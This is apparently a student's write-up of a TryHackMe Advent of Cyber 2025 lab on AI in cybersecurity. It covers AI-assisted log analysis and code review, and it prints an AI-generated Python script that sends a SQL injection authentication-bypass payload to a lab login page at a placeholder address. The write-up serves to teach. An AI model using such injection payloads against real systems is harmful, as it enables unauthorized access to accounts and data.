AI in Security - old sAInt nick

Day 4

Unleash the power of AI by exploring it's uses within cyber security.

- AI for Cyber Security Showcase

AI for Cyber Security Showcase

Overview

Room URL: https://tryhackme.com/room/AIforcyber-aoc2025-y9wWQ1zRgB

Difficulty: Easy

Category: AI

Date Completed: 12/4/2025

Objective

- How AI can be used as an assistant in cyber security for a variety of roles, domains and tasks
- Using an AI assistant to solve various tasks within cyber security
- Some of the considerations, particularly in cyber security, surrounding the use of AI

Table of Contents

Introduction

The rapid integration of artificial intelligence into cybersecurity has transformed how organizations detect threats, respond to incidents, and develop secure software. However, this power comes with significant responsibility—AI is a tool that amplifies both capability and risk. In this challenge, you'll explore the three pillars of AI in cybersecurity through Van SolveIT, an interactive AI assistant: **red team offensive capabilities** (exploit generation), **blue team defensive analysis** (log interpretation), and **secure development practices** (vulnerability identification). The challenge

demonstrates that while AI can accelerate tedious security tasks—from reconnaissance to code auditing—it requires human oversight, verification, and careful consideration of accuracy, data privacy, and ethical deployment. Your task is to complete all three showcases and execute a real-world SQL injection exploit generated by the AI model `qwen3:0.6b` running on `ollama`.

AI Features

Features of AI	Cyber Security Relevance
Processing large amounts of data	Analysing vast data from multiple types of sources. For example, system and network logs together.
Behaviour analysis	Tracking normal behaviour and activities over a period of time and flagging anything that is out of the ordinary.
Generative AI	Summarising or providing context behind a series of events.

Walk Through

1. Complete the AI showcase by progressing through all of the stages. What is the flag presented to you?
    1. AI Service: `ollama`
    2. AI Model: `qwen3:0.6b`
        1. The first part is the red team side of AI. The AI Generated a python file to exploit a sql injection vulnerability

```
import requests

# Set up the login credentials
username = "alice' OR 1=1 -- -"
password = "test"

# URL to the vulnerable login page
url = "http://MACHINE_IP:5000/login.php"

# Set up the payload (the input)
payload = {
    "username": username,
    "password": password
```

```
}

# Send a POST request to the login page with our payload
response = requests.post(url, data=payload)

# Print the response content
print("Response Status Code:", response.status_code)
print("\nResponse Headers:")
for header, value in response.headers.items():
    print(f"  {header}: {value}")
print("\nResponse Body:")
print(response.text)
```

2. Next is the blue team side of AI with log analysis
    1. The chat bot explained the events that occured in the log file
    2. AI1.png
3. This last stage deals with software development and using AI to discover vulnerabilities in code
    1. The AI identified specific vulerabilities that would allow for a SQL injection attack
    2. ai2.png
4. ai3.png

2. Execute the exploit provided by the red team agent against the vulnerable web application hosted at MACHINE_IP:5000. What flag is provided in the script's output after it?
    1. Edit `script.py` from AI to use actual ip address
    2. Run `script.py` with `python3 script.py`
    3. ai4.png

Lessons Learned

- **AI as a Force Multiplier with Guardrails:** AI agents excel at automating time-consuming security tasks—generating exploits, analyzing logs for attack patterns, and identifying code vulnerabilities—but outputs must always be verified by skilled practitioners before deployment. The distinction between "experience with AI tools" and

"avoidance of real work" is critical for professional cybersecurity practice.

- **Defense-in-Depth Through AI and Human Judgment:** Whether analyzing SQL injection vulnerabilities, correlating web logs, or understanding exploit mechanics, the most effective security posture combines AI's data processing power with human critical thinking. Understanding *why* an AI flagged a vulnerability or generated a specific payload is just as important as *what* it produces.

Resources

TryHackMe

AI Gaurdrails

AI in CyberSecurity